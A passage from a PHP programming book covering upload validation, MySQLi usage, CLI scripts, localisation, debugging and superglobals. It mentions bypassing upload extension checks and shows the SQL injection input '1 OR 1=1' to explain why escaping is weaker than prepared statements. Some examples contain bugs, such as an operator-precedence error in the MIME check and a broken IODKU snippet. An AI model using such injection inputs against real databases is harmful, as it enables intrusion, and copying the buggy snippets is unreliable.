So now I've uploaded script.php to another directory, by-passing simple validations to file extensions. It also by-
passes .htaccess files disallowing scripts to be executed from within your upload directory.

Getting the file name and extension safely

You can use pathinfo() to extrapolate the name and extension in a safe manner but first we need to replace
unwanted characters in the file name:

// This array contains a list of characters not allowed in a filename

$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?",
"*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);

$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';

if(!empty($extension) && !empty($filename)){

echo $filename, $extension;

Complete PHP Tips & Secrets for Professionals 226

} else {
die('file is missing an extension or name');
}

While now we have a filename and extension that can be used for storing, I still prefer storing that information in a
database and give that file a generated name of for example, md5(uniqid().microtime())

+----+--------+-----------+------------+------+----------------------------------+-----------------
----+
| id | title | extension | mime | size | filename | time
|
+----+--------+-----------+------------+------+----------------------------------+-----------------
----+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11
00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+-----------------
----+

This would resolve the issue of duplicate file names and unforseen exploits in the file name. It would also cause the
attacker to guess where that file has been stored as he or she cannot specifically target it for execution.

Mime-type validation

Checking a file extension to determine what file it is is not enough as a file may named image.png but may very well
contain a php script. By checking the mime-type of the uploaded file against a file extension you can verify if the file
contains what its name is referring to.

You can even go 1 step further for validating images, and that is actually opening them:

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){

if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}

You can fetch the mime-type using a build-in function or a class.

White listing your uploads

Most importantly, you should whitelist file extensions and mime types depending on each form.

function isFiletypeAllowed($extension, $mime, array $allowed)

{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}

$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));

Complete PHP Tips & Secrets for Professionals 227

Chapter 49: PHP MySQLi
The mysqli interface is an improvement (it means "MySQL Improvement extension") of the mysql interface, which
was deprecated in version 5.5 and is removed in version 7.0. The mysqli extension, or as it is sometimes known, the
MySQL improved extension, was developed to take advantage of new features found in MySQL systems versions
4.1.3 and newer. The mysqli extension is included with PHP versions 5 and later.

Section 49.1: Close connection

When we are finished querying the database, it is recommended to close the connection to free up resources.

Object oriented style

$conn->close();

Procedural style

mysqli_close($conn);

Note: The connection to the server will be closed as soon as the execution of the script ends, unless it's closed
earlier by explicitly calling the close connection function.

Use Case: If our script has a fair amount of processing to perform after fetching the result and has retrieved the full
result set, we definitely should close the connection. If we were not to, there's a chance the MySQL server will reach
its connection limit when the web server is under heavy use.

Section 49.2: MySQLi connect

Object oriented style

Connect to Server

$conn = new mysqli("localhost","my_user","my_password");

Set the default database: $conn->select_db("my_db");

Connect to Database

$conn = new mysqli("localhost","my_user","my_password","my_db");

Procedural style

Connect to Server

$conn = mysqli_connect("localhost","my_user","my_password");

Set the default database: mysqli_select_db($conn, "my_db");

Connect to Database

$conn = mysqli_connect("localhost","my_user","my_password","my_db");

Verify Database Connection

Object oriented style

if ($conn->connect_errno > 0) {
trigger_error($db->connect_error);

Complete PHP Tips & Secrets for Professionals 228

} // else: successfully connected

Procedural style

if (!$conn) {
trigger_error(mysqli_connect_error());
} // else: successfully connected

Section 49.3: Loop through MySQLi results

PHP makes it easy to get data from your results and loop over it using a while statement. When it fails to get the
next row, it returns false, and your loop ends. These examples work with

mysqli_fetch_assoc - Associative array with column names as keys

mysqli_fetch_object - stdClass object with column names as variables
mysqli_fetch_array - Associative AND Numeric array (can use arguments to get one or the other)
mysqli_fetch_row - Numeric array

Object oriented style

while($row = $result->fetch_assoc()) {
var_dump($row);
}

Procedural style

while($row = mysqli_fetch_assoc($result)) {
var_dump($row);
}

To get exact information from results, we can use:

while ($row = $result->fetch_assoc()) {

echo 'Name and surname: '.$row['name'].' '.$row['surname'].'<br>';
echo 'Age: '.$row['age'].'<br>'; // Prints info from 'age' column
}

Section 49.4: Prepared statements in MySQLi

Please read Preventing SQL injection with Parametrized Queries for a complete discussion of why prepared
statements help you secure your SQL statements from SQL Injection attacks

The $conn variable here is a MySQLi object. See MySQLi connect example for more details.

For both examples, we assume that $sql is

$sql = "SELECT column_1

FROM table
WHERE column_2 = ?
AND column_3 > ?";

The ? represents the values we will provide later. Please note that we do not need quotes for the placeholders,
regardless of the type. We can also only provide placeholders in the data portions of the query, meaning SET,
VALUES and WHERE. You cannot use placeholders in the SELECT or FROM portions.

Object oriented style

if ($stmt = $conn->prepare($sql)) {
$stmt->bind_param("si", $column_2_value, $column_3_value);
$stmt->execute();

Complete PHP Tips & Secrets for Professionals 229

 $stmt->bind_result($column_1);
$stmt->fetch();
//Now use variable $column_1 one as if it were any other PHP variable
$stmt->close();
}

Procedural style

if ($stmt = mysqli_prepare($conn, $sql)) {

mysqli_stmt_bind_param($stmt, "si", $column_2_value, $column_3_value);
mysqli_stmt_execute($stmt);
// Fetch data here
mysqli_stmt_close($stmt);
}

The first parameter of $stmt->bind_param or the second parameter of mysqli_stmt_bind_param is determined by

the data type of the corresponding parameter in the SQL query:

Parameter Data type of the bound parameter

i integer
d double
s string
b blob

Your list of parameters needs to be in the order provided in your query. In this example si means the first
parameter (column_2 = ?) is string and the second parameter (column_3 > ?) is integer.

For retrieving data, see How to get data from a prepared statement

Section 49.5: Escaping Strings

Escaping strings is an older (and less secure) method of securing data for insertion into a query. It works by using
MySQL's function mysql_real_escape_string() to process and sanitize the data (in other words, PHP is not doing the
escaping). The MySQLi API provides direct access to this function

$escaped = $conn->real_escape_string($_GET['var']);
// OR
$escaped = mysqli_real_escape_string($conn, $_GET['var']);

At this point, you have a string that MySQL considers to be safe for use in a direct query

$sql = 'SELECT * FROM users WHERE username = "' . $escaped . '"';

$result = $conn->query($sql);

So why is this not as secure as prepared statements? There are ways to trick MySQL to produce a string it considers
safe. Consider the following example

$id = mysqli_real_escape_string("1 OR 1=1");

$sql = 'SELECT * FROM table WHERE id = ' . $id;

1 OR 1=1 does not represent data that MySQL will escape, yet this still represents SQL injection. There are other
examples as well that represent places where it returns unsafe data. The problem is that MySQL's escaping function
is designed to make data comply with SQL syntax. It's NOT designed to make sure that MySQL can't confuse
user data for SQL instructions.

Section 49.6: Debugging SQL in MySQLi

So your query has failed (see MySQLi connect for how we made $conn)

Complete PHP Tips & Secrets for Professionals 230

$result = $conn->query('SELECT * FROM non_existent_table'); // This query will fail

How do we find out what happened? $result is false so that's no help. Thankfully the connect $conn can tell us
what MySQL told us about the failure

trigger_error($conn->error);

or procedural

trigger_error(mysqli_error($conn));

You should get an error similar to

Table 'my_db.non_existent_table' doesn't exist

Section 49.7: MySQLi query

The query function takes a valid SQL string and executes it directly against the database connection $conn

Object oriented style

$result = $conn->query("SELECT * FROM `people`");

Procedural style

$result = mysqli_query($conn, "SELECT * FROM `people`");

CAUTION

A common problem here is that people will simply execute the query and expect it to work (i.e. return a
mysqli_stmt object). Since this function takes only a string, you're building the query first yourself. If there are any
mistakes in the SQL at all, the MySQL compiler will fail, at which point this function will return false.

$result = $conn->query('SELECT * FROM non_existent_table'); // This query will fail

$row = $result->fetch_assoc();

The above code will generate a E_FATAL error because $result is false, and not an object.

PHP Fatal error: Call to a member function fetch_assoc() on a non-object

The procedural error is similar, but not fatal, because we're just violating the expectations of the function.

$row = mysqli_fetch_assoc($result); // same query as previous

You will get the following message from PHP

mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given

You can avoid this by doing a test first

if($result) $row = mysqli_fetch_assoc($result);

Section 49.8: How to get data from a prepared statement

Prepared statements

See Prepared statements in MySQLi for how to prepare and execute a query.

Binding of results

Complete PHP Tips & Secrets for Professionals 231

Object-oriented style

$stmt->bind_result($forename);

Procedural style

mysqli_stmt_bind_result($stmt, $forename);

The problem with using bind_result is that it requires the statement to specify the columns that will be used. This
means that for the above to work the query must have looked like this SELECT forename FROM users. To include
more columns simply add them as parameters to the bind_result function (and ensure that you add them to the
SQL query).

In both cases, we're assigning the forename column to the $forename variable. These functions take as many
arguments as columns you want to assign. The assignment is only done once, since the function binds by reference.

We can then loop as follows:

Object-oriented style

while ($stmt->fetch())
echo "$forename<br />";

Procedural style

while (mysqli_stmt_fetch($stmt))
echo "$forename<br />";

The drawback to this is that you have to assign a lot of variables at once. This makes keeping track of large queries
difficult. If you have MySQL Native Driver (mysqlnd) installed, all you need to do is use get_result.

Object-oriented style

$result = $stmt->get_result();

Procedural style

$result = mysqli_stmt_get_result($stmt);

This is much easier to work with because now we're getting a mysqli_result object. This is the same object that
mysqli_query returns. This means you can use a regular result loop to get your data.

What if I cannot install mysqlnd?

If that is the case then @Sophivorus has you covered with this amazing answer.

This function can perform the task of get_result without it being installed on the server. It simply loops through
the results and builds an associative array

function get_result(\mysqli_stmt $statement)

{
$result = array();
$statement->store_result();
for ($i = 0; $i < $statement->num_rows; $i++)
{
$metadata = $statement->result_metadata();
$params = array();
while ($field = $metadata->fetch_field())
{

Complete PHP Tips & Secrets for Professionals 232

 $params[] = &$result[$i][$field->name];
}
call_user_func_array(array($statement, 'bind_result'), $params);
$statement->fetch();
}
return $result;
}

We can then use the function to get results like this, just as if we were using mysqli_fetch_assoc()

<?php
$query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?");
$condition = "J%";
$query->bind_param("s", $condition);
$query->execute();
$result = get_result($query);

while ($row = array_shift($result)) {

echo $row["id"] . ' - ' . $row["forename"] . ' ' . $row["surname"] . '<br>';
}

It will have the same output as if you were using the mysqlnd driver, except it does not have to be installed. This is
very useful if you are unable to install said driver on your system. Just implement this solution.

Section 49.9: MySQLi Insert ID

Retrieve the last ID generated by an INSERT query on a table with an AUTO_INCREMENT column.

Object-oriented Style

$id = $conn->insert_id;

Procedural Style

$id = mysqli_insert_id($conn);

Returns zero if there was no previous query on the connection or if the query did not update an AUTO_INCREMENT
value.

Insert id when updating rows

Normally an UPDATE statement does not return an insert id, since an AUTO_INCREMENT id is only returned when a
new row has been saved (or inserted). One way of making updates to the new id is to use INSERT ... ON
DUPLICATE KEY UPDATE syntax for updating.

Setup for examples to follow:

CREATE TABLE iodku (

id INT AUTO_INCREMENT NOT NULL,
name VARCHAR(99) NOT NULL,
misc INT NOT NULL,
PRIMARY KEY(id),
UNIQUE(name)
) ENGINE=InnoDB;

INSERT INTO iodku (name, misc)

VALUES
('Leslie', 123),
('Sally', 456);
Query OK, 2 rows affected (0.00 sec)

Complete PHP Tips & Secrets for Professionals 233

Records: 2 Duplicates: 0 Warnings: 0
+----+--------+------+
| id | name | misc |
+----+--------+------+
| 1 | Leslie | 123 |
| 2 | Sally | 456 |
+----+--------+------+

The case of IODKU performing an "update" and LAST_INSERT_ID() retrieving the relevant id:

$sql = "INSERT INTO iodku (name, misc)

VALUES
('Sally', 3333) -- should update
ON DUPLICATE KEY UPDATE -- `name` will trigger "duplicate key"
id = LAST_INSERT_ID(id),
misc = VALUES(misc)";
$conn->query($sql);
$id = $conn->insert_id; -- picking up existing value (2)

The case where IODKU performs an "insert" and LAST_INSERT_ID() retrieves the new id:

$sql = "INSERT INTO iodku (name, misc)

VALUES
('Dana', 789) -- Should insert
ON DUPLICATE KEY UPDATE
id = LAST_INSERT_ID(id),
misc = VALUES(misc);
$conn->query($sql);
$id = $conn->insert_id; -- picking up new value (3)

Resulting table contents:

SELECT * FROM iodku;

+----+--------+------+
| id | name | misc |
+----+--------+------+
| 1 | Leslie | 123 |
| 2 | Sally | 3333 | -- IODKU changed this
| 3 | Dana | 789 | -- IODKU added this
+----+--------+------+

Chapter 50: Command Line Interface (CLI)

Section 50.1: Handling Program Options
Program options can be handled with the getopt() function. It operates with a similar syntax to the POSIX getopt
command, with additional support for GNU-style long options.

#!/usr/bin/php

// a single colon indicates the option takes a value

// a double colon indicates the value may be omitted
$shortopts = "hf:v::d";
// GNU-style long options are not required
$longopts = ["help", "version"];
$opts = getopt($shortopts, $longopts);

// options without values are assigned a value of boolean false

// you must check their existence, not their truthiness
if (isset($opts["h"]) || isset($opts["help"])) {
fprintf(STDERR, "Here is some help!\n");

Complete PHP Tips & Secrets for Professionals 234

 exit;
}

// long options are called with two hyphens: "--version"

if (isset($opts["version"])) {
fprintf(STDERR, "%s Version 223.45" . PHP_EOL, $argv[0]);
exit;
}

// options with values can be called like "-f foo", "-ffoo", or "-f=foo"
$file = "";
if (isset($opts["f"])) {
$file = $opts["f"];
}
if (empty($file)) {
fprintf(STDERR, "We wanted a file!" . PHP_EOL);
exit(1);
}
fprintf(STDOUT, "File is %s" . PHP_EOL, $file);

// options with optional values must be called like "-v5" or "-v=5"

$verbosity = 0;
if (isset($opts["v"])) {
$verbosity = ($opts["v"] === false) ? 1 : (int)$opts["v"];
}
fprintf(STDOUT, "Verbosity is %d" . PHP_EOL, $verbosity);

// options called multiple times are passed as an array

$debug = 0;
if (isset($opts["d"])) {
$debug = is_array($opts["d"]) ? count($opts["d"]) : 1;
}
fprintf(STDOUT, "Debug is %d" . PHP_EOL, $debug);

// there is no automated way for getopt to handle unexpected options

This script can be tested like so:

./test.php --help
./test.php --version
./test.php -f foo -ddd
./test.php -v -d -ffoo
./test.php -v5 -f=foo
./test.php -f foo -v 5 -d

Note the last method will not work because -v 5 is not valid.

Note: As of PHP 5.3.0, getopt is OS independent, working also on Windows.

Section 50.2: Argument Handling

Arguments are passed to the program in a manner similar to most C-style languages. $argc is an integer containing
the number of arguments including the program name, and $argv is an array containing arguments to the
program. The first element of $argv is the name of the program.

#!/usr/bin/php

printf("You called the program %s with %d arguments\n", $argv[0], $argc - 1);

unset($argv[0]);
foreach ($argv as $i => $arg) {
printf("Argument %d is %s\n", $i, $arg);

Complete PHP Tips & Secrets for Professionals 235

}

Calling the above application with php example.php foo bar (where example.php contains the above code) will
result in the following output:

You called the program example.php with 2 arguments

Argument 1 is foo
Argument 2 is bar

Note that $argc and $argv are global variables, not superglobal variables. They must be imported into the local
scope using the global keyword if they are needed in a function.

This example shows the how arguments are grouped when escapes such as "" or \ are used.

Example script

var_dump($argc, $argv);

Command line

$ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\ multiple\
spaces\ counted\ as\ one
int(6)
array(6) {
[0]=>
string(13) "argc.argv.php"
[1]=>
string(19) "--this-is-an-option"
[2]=>
string(20) "three words together"
[3]=>
string(2) "or"
[4]=>
string(12) "in one quote"
[5]=>
string(34) "but multiple spaces counted as one"
}

If the PHP script is run using -r:

$ php -r 'var_dump($argv);'
array(1) {
[0]=>
string(1) "-"
}

Or code piped into STDIN of php:

$ echo '<?php var_dump($argv);' | php

array(1) {
[0]=>
string(1) "-"
}

Section 50.3: Input and Output Handling

When run from the CLI, the constants STDIN, STDOUT, and STDERR are predefined. These constants are file
handles, and can be considered equivalent to the results of running the following commands:

STDIN = fopen("php://stdin", "r");

Complete PHP Tips & Secrets for Professionals 236

STDOUT = fopen("php://stdout", "w");
STDERR = fopen("php://stderr", "w");

The constants can be used anywhere a standard file handle would be:

#!/usr/bin/php

while ($line = fgets(STDIN)) {

$line = strtolower(trim($line));
switch ($line) {
case "bad":
fprintf(STDERR, "%s is bad" . PHP_EOL, $line);
break;
case "quit":
exit;
default:
fprintf(STDOUT, "%s is good" . PHP_EOL, $line);
break;
}
}

The builtin stream addresses referenced earlier (php://stdin, php://stdout, and php://stderr) can be used in
place of filenames in most contexts:

file_put_contents('php://stdout', 'This is stdout content');

file_put_contents('php://stderr', 'This is stderr content');

// Open handle and write multiple times.

$stdout = fopen('php://stdout', 'w');

fwrite($stdout, 'Hello world from stdout' . PHP_EOL);

fwrite($stdout, 'Hello again');

fclose($stdout);

As an alternative, you can also use readline() for input, and you can also use echo or print or any other string
printing functions for output.

$name = readline("Please enter your name:");

print "Hello, {$name}.";

Section 50.4: Return Codes

The exit construct can be used to pass a return code to the executing environment.

#!/usr/bin/php

if ($argv[1] === "bad") {

exit(1);
} else {
exit(0);
}

By default an exit code of 0 will be returned if none is provided, i.e. exit is the same as exit(0). As exit is not a
function, parentheses are not required if no return code is being passed.

Return codes must be in the range of 0 to 254 (255 is reserved by PHP and should not be used). By convention,
exiting with a return code of 0 tells the calling program that the PHP script ran successfully. Use a non-zero return
code to tell the calling program that a specific error condition occurred.

Complete PHP Tips & Secrets for Professionals 237

Section 50.5: Restrict script execution to command line
The function php_sapi_name() and the constant PHP_SAPI both return the type of interface (Server API) that is
being used by PHP. They can be used to restrict the execution of a script to the command line, by checking whether
the output of the function is equal to cli.

if (php_sapi_name() === 'cli') {

echo "Executed from command line\n";
} else {
echo "Executed from web browser\n";
}

The drupal_is_cli() function is an example of a function that detects whether a script has been executed from
the command line:

function drupal_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' ||
(is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}

Section 50.6: Behavioural dierences on the command line

When running from the CLI, PHP exhibits some different behaviours than when run from a web server. These
differences should be kept in mind, especially in the case where the same script might be run from both
environments.

No directory change When running a script from a web server, the current working directory is always that
of the script itself. The code require("./stuff.inc"); assumes the file is in the same directory as the script.
On the command line, the current working directory is the directory you're in when you call the script. Scripts
that are going to be called from the command line should always use absolute paths. (Note the magic
constants __DIR__ and __FILE__ continue to work as expected, and return the location of the script.)
No output buffering The php.ini directives output_buffering and implicit_flush default to false and
true, respectively. Buffering is still available, but must be explicitly enabled, otherwise output will always be
displayed in real time.
No time limit The php.ini directive max_execution_time is set to zero, so scripts will not time out by
default.
No HTML errors In the event you have enabled the php.ini directive html_errors, it will be ignored on the
command line.
Different php.ini can be loaded. When you are using php from cli it can use different php.ini than web
server do. You can know what file is using by running php --ini.

Section 50.7: Running your script

On either Linux/UNIX or Windows, a script can be passed as an argument to the PHP executable, with that script's
options and arguments following:

php ~/example.php foo bar

c:\php\php.exe c:\example.php foo bar

This passes foo and bar as arguments to example.php.

On Linux/UNIX, the preferred method of running scripts is to use a shebang (e.g. #!/usr/bin/env php) as the first
line of a file, and set the executable bit on the file. Assuming the script is in your path, you can then call it directly:

example.php foo bar

Using /usr/bin/env php makes the PHP executable to be found using the PATH. Following how PHP is installed, it

Complete PHP Tips & Secrets for Professionals 238

might not be located at the same place (such as /usr/bin/php or /usr/local/bin/php), unlike env which is
commonly available from /usr/bin/env.

On Windows, you could have the same result by adding the PHP's directory and your script to the PATH and editing
PATHEXT to allow .php to be detected using the PATH. Another possibility is to add a file named example.bat or
example.cmd in the same directory as your PHP script and write this line into it:

c:\php\php.exe "%~dp0example.php" %*

Or, if you added PHP's directory into the PATH, for convenient use:

php "%~dp0example.php" %*

Section 50.8: Edge Cases of getopt()

This example shows the behaviour of getopt when the user input is uncommon:

getopt.php
var_dump(
getopt("ab:c::", ["delta", "epsilon:", "zeta::"])
);
Shell command line
$ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma
array(6) {
["a"]=>
array(2) {
[0]=>
bool(false)
[1]=>
bool(false)
}
["b"]=>
array(2) {
[0]=>
string(4) "beta"
[1]=>
string(4) "beta"
}
["c"]=>
array(2) {
[0]=>
string(5) "gamma"
[1]=>
bool(false)
}
["delta"]=>
bool(false)
["epsilon"]=>
string(6) "--zeta"
["zeta"]=>
string(1) "f"
}

From this example, it can be seen that:

Individual options (no colon) always carry a boolean value of false if enabled.
If an option is repeated, the respective value in the output of getopt will become an array.
Required argument options (one colon) accept one space or no space (like optional argument options) as
separator
After one argument that cannot be mapped into any options, the options behind will not be mapped either.

Complete PHP Tips & Secrets for Professionals 239

Section 50.9: Running built-in web server
As from version 5.4, PHP comes with built-in server. It can be used to run application without need to install other
http server like nginx or apache. Built-in server is designed only in controller environment for development and
testing purposes.

It can be run with command php -S :

To test it create index.php file containing

<?php
echo "Hello World from built-in PHP server";

and run command php -S localhost:8080

Now yout should be able to see content in browser. To check this, navigate to http://localhost:8080

Every access should result in log entry written to terminal

[Mon Aug 15 18:20:19 2016] ::1:52455 [200]: /

Chapter 51: Localization

string gettext (string $message)

Section 51.1: Localizing strings with gettext()

GNU gettext is an extension within PHP that must be included at the php.ini:

extension=php_gettext.dll #Windows extension=gettext.so #Linux

The gettext functions implement an NLS (Native Language Support) API which can be used to internationalize your
PHP applications.

Translating strings can be done in PHP by setting the locale, setting up your translation tables and calling gettext()
on any string you want to translate.

<?php
// Set language to French
putenv('LC_ALL= fr_FR');
setlocale(LC_ALL, 'fr_FR');

// Specify location of translation tables for 'myPHPApp' domain

bindtextdomain("myPHPApp", "./locale");

// Select 'myPHPApp' domain

textdomain("myPHPApp");

myPHPApp.po

#: /Hello_world.php:56
msgid "Hello"
msgstr "Bonjour"

#: /Hello_world.php:242
msgid "How are you?"
msgstr "Comment allez-vous?"

gettext() loads a given post-complied .po file, a .mo. which maps your to-be translated strings as above.

Complete PHP Tips & Secrets for Professionals 240

After this small bit of setup code, translations will now be looked for in the following file:

./locale/fr_FR/LC_MESSAGES/myPHPApp.mo.

Whenever you call gettext('some string'), if 'some string' has been translated in the .mo file, the translation
will be returned. Otherwise, 'some string' will be returned untranslated.

// Print the translated version of 'Welcome to My PHP Application'

echo gettext("Welcome to My PHP Application");

// Or use the alias _() for gettext()

echo _("Have a nice day");

Chapter 52: Debugging

Section 52.1: Dumping variables
The var_dump function allows you to dump the contents of a variable (type and value) for debugging.

Example:

$array = [3.7, "string", 10, ["hello" => "world"], false, new DateTime()];
var_dump($array);

Output:

array(6) {
[0]=>
float(3.7)
[1]=>
string(6) "string"
[2]=>
int(10)
[3]=>
array(1) {
["hello"]=>
string(5) "world"
}
[4]=>
bool(false)
[5]=>
object(DateTime)#1 (3) {
["date"]=>
string(26) "2016-07-24 13:51:07.000000"
["timezone_type"]=>
int(3)
["timezone"]=>
string(13) "Europe/Berlin"
}
}

Section 52.2: Displaying errors

If you want PHP to display runtime errors on the page, you have to enable display_errors, either in the php.ini or
using the ini_set function.

You can choose which errors to display, with the error_reporting (or in the ini) function, which accepts E_*
constants, combined using bitwise operators.

PHP can display errors in text or HTML format, depending on the html_errors setting.

Complete PHP Tips & Secrets for Professionals 241

Example:

ini_set("display_errors", true);
ini_set("html_errors", false); // Display errors in plain text
error_reporting(E_ALL & ~E_USER_NOTICE); // Display everything except E_USER_NOTICE

trigger_error("Pointless error"); // E_USER_NOTICE

echo $nonexistentVariable; // E_NOTICE
nonexistentFunction(); // E_ERROR

Plain text output: (HTML format differs between implementations)

Notice: Undefined variable: nonexistentVariable in /path/to/file.php on line 7

Fatal error: Uncaught Error: Call to undefined function nonexistentFunction() in

/path/to/file.php:8
Stack trace:
#0 {main}
thrown in /path/to/file.php on line 8

NOTE: If you have error reporting disabled in php.ini and enable it during runtime, some errors (such as parse
errors) won't be displayed, because they occured before the runtime setting was applied.

The common way to handle error_reporting is to enable it fully with E_ALL constant during the development, and
to disable publicly displaying it with display_errors on production stage to hide the internals of your scripts.

Section 52.3: phpinfo()

Warning

It is imperative that phpinfo is only used in a development environment. Never release code containing
phpinfo into a production environment

Introduction

Having said that, it can be a useful tool in understanding the PHP environment (OS, configuration, versions, paths,
modules) in which you are working, especially when chasing a bug. It is a simple built in function:

phpinfo();

It has one parameter $what that allows the output to be customized. The default is INFO_ALL, causing it to display
all information and is commonly used during development to see the current state of PHP.

You can pass the parameter INFO_* constants, combined with bitwise operators to see a customized list.

You can run it in the browser for a nicely formatted detailed look. It also works in PHP CLI, where you can pipe it
into less for easier view.

Example
phpinfo(INFO_CONFIGURATION | INFO_ENVIRONMENT | INFO_VARIABLES);

This will display a list of PHP directives (ini_get), environment ($_ENV) and predefined variables.

Section 52.4: Xdebug

Xdebug is a PHP extension which provides debugging and profiling capabilities.
It uses the DBGp debugging protocol.

Complete PHP Tips & Secrets for Professionals 242

There are some nice features in this tool:

stack traces on errors

maximum nesting level protection and time tracking
helpful replacement of standard var_dump() function for displaying variables
allows to log all function calls, including parameters and return values to a file in different formats
code coverage analysis
profiling information
remote debugging (provides interface for debugger clients that interact with running PHP scripts)

As you can see this extension is perfectly suited for development environment. Especially remote debugging
feature can help you to debug your php code without numerous var_dump's and use normal debugging process as
in C++ or Java languages.

Usually installing of this extension is very simple:

pecl install xdebug # install from pecl/pear

And activate it into your php.ini:

zend_extension="/usr/local/php/modules/xdebug.so"

In more complicated cases see this instructions

When you use this tool you should remember that:

XDebug is not suitable for production environments

Section 52.5: Error Reporting (use them both)

// this sets the configuration option for your environment
ini_set('display_errors', '1');

//-1 will allow all errors to be reported

error_reporting(-1);

Section 52.6: phpversion()

Introduction

When working with various libraries and their associated requirements, it is often necessary to know the version of
current PHP parser or one of it's packages.

This function accepts a single optional parameter in the form of extension name: phpversion('extension'). If the
extension in question is installed, the function will return a string containing version value. However, if the
extension not installed FALSE will be returned. If the extension name is not provided, the function will return the
version of PHP parser itself.

Example
print "Current PHP version: " . phpversion();
// Current PHP version: 7.0.8

print "Current cURL version: " . phpversion( 'curl' );

// Current cURL version: 7.0.8
// or
// false, no printed output if package is missing

Complete PHP Tips & Secrets for Professionals 243

Chapter 53: Superglobal Variables PHP
Superglobals are built-in variables that are always available in all scopes.

Several predefined variables in PHP are "superglobals", which means they are available in all scopes throughout a
script. There is no need to do global $variable; to access them within functions or methods.

Section 53.1: Suberglobals explained

Introduction

Put simply, these are variables that are available in all scope in your scripts.

This means that there is no need to pass them as parameters in your functions, or store them outside a block of
code to have them available in different scopes.

What's a superglobal??

If you're thinking that these are like superheroes - they're not.

As of PHP version 7.1.3 there are 9 superglobal variables. They are as follows:

$GLOBALS - References all variables available in global scope

$_SERVER - Server and execution environment information
$_GET - HTTP GET variables
$_POST - HTTP POST variables
$_FILES - HTTP File Upload variables
$_COOKIE - HTTP Cookies
$_SESSION - Session variables
$_REQUEST - HTTP Request variables
$_ENV - Environment variables

See the documentation.

Tell me more, tell me more

I'm sorry for the Grease reference! Link

Time for some explanation on these superheroesglobals.

$GLOBALS

An associative array containing references to all variables which are currently defined in the global scope of the
script. The variable names are the keys of the array.

Code

$myGlobal = "global"; // declare variable outside of scope

function test()
{
$myLocal = "local"; // declare variable inside of scope
// both variables are printed
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}

Complete PHP Tips & Secrets for Professionals 244

test(); // run function
// only $myGlobal is printed since $myLocal is not globally scoped
var_dump($myLocal);
var_dump($myGlobal);

Output

string 'local' (length=5)

string 'global' (length=6)
null
string 'global' (length=6)

In the above example $myLocal is not displayed the second time because it is declared inside the test() function
and then destroyed after the function is closed.

Becoming global

To remedy this there are two options.

Option one: global keyword

function test()
{
global $myLocal;
$myLocal = "local";
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}

The global keyword is a prefix on a variable that forces it to be part of the global scope.

Note that you cannot assign a value to a variable in the same statement as the global keyword. Hence, why I had to
assign a value underneath. (It is possible if you remove new lines and spaces but I don't think it is neat. global
$myLocal; $myLocal = "local").

Option two: $GLOBALS array

function test()
{
$GLOBALS["myLocal"] = "local";
$myLocal = $GLOBALS["myLocal"];
var_dump($myLocal);
var_dump($GLOBALS["myGlobal"]);
}

In this example I reassigned $myLocal the value of $GLOBAL["myLocal"] since I find it easier writing a variable name
rather than the associative array.

$_SERVER

$_SERVER is an array containing information such as headers, paths, and script locations. The entries in this array
are created by the web server. There is no guarantee that every web server will provide any of these; servers may
omit some, or provide others not listed here. That said, a large number of these variables are accounted for in the
CGI/1.1 specification, so you should be able to expect those.

An example output of this might be as follows (run on my Windows PC using WAMP)

C:\wamp64\www\test.php:2:
array (size=36)

Complete PHP Tips & Secrets for Professionals 245

 'HTTP_HOST' => string 'localhost' (length=9)
'HTTP_CONNECTION' => string 'keep-alive' (length=10)
'HTTP_CACHE_CONTROL' => string 'max-age=0' (length=9)
'HTTP_UPGRADE_INSECURE_REQUESTS' => string '1' (length=1)
'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/57.0.2987.133 Safari/537.36' (length=110)
'HTTP_ACCEPT' => string
'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' (length=74)
'HTTP_ACCEPT_ENCODING' => string 'gzip, deflate, sdch, br' (length=23)
'HTTP_ACCEPT_LANGUAGE' => string 'en-US,en;q=0.8,en-GB;q=0.6' (length=26)
'HTTP_COOKIE' => string 'PHPSESSID=0gslnvgsci371ete9hg7k9ivc6' (length=36)
'PATH' => string 'C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files
(x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS
Client\;C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;E:\Program Files\ATI Technologies\ATI.ACE\Core-
Static;E:\Program Files\AMD\ATI.ACE\Core-Static;C:\Program Files (x86)\AMD\ATI.ACE\Core-
Static;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static;C:\Program Files\Intel\Intel(R)
Managemen'... (length=1169)
'SystemRoot' => string 'C:\WINDOWS' (length=10)
'COMSPEC' => string 'C:\WINDOWS\system32\cmd.exe' (length=27)
'PATHEXT' => string '.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY' (length=57)
